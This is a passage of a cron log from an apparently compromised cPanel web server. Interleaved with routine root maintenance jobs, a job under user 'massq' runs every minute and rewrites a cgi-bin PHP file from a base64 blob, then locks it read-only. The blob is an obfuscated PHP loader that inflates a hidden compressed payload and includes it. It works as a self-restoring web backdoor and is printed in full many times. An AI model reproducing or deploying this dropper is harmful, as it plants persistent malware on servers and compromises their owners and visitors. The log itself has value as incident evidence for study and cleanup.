klMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:40:01 server CROND[27768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:40:01 server CROND[27769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:40:01 server CROND[27770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:40:01 server CROND[27771]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 10:41:01 server CROND[27894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:42:01 server CROND[27950]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 10:42:01 server CROND[27951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:43:01 server CROND[28022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:44:01 server CROND[28172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:45:01 server CROND[28236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:45:01 server CROND[28235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:45:01 server CROND[28237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:46:01 server CROND[28337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:47:01 server CROND[28394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:48:01 server CROND[28451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:49:01 server CROND[28505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:50:01 server CROND[28660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:50:01 server CROND[28663]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 10:50:01 server CROND[28661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 10:50:01 server CROND[28662]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:50:01 server CROND[28668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:51:01 server CROND[28781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:52:01 server CROND[28840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
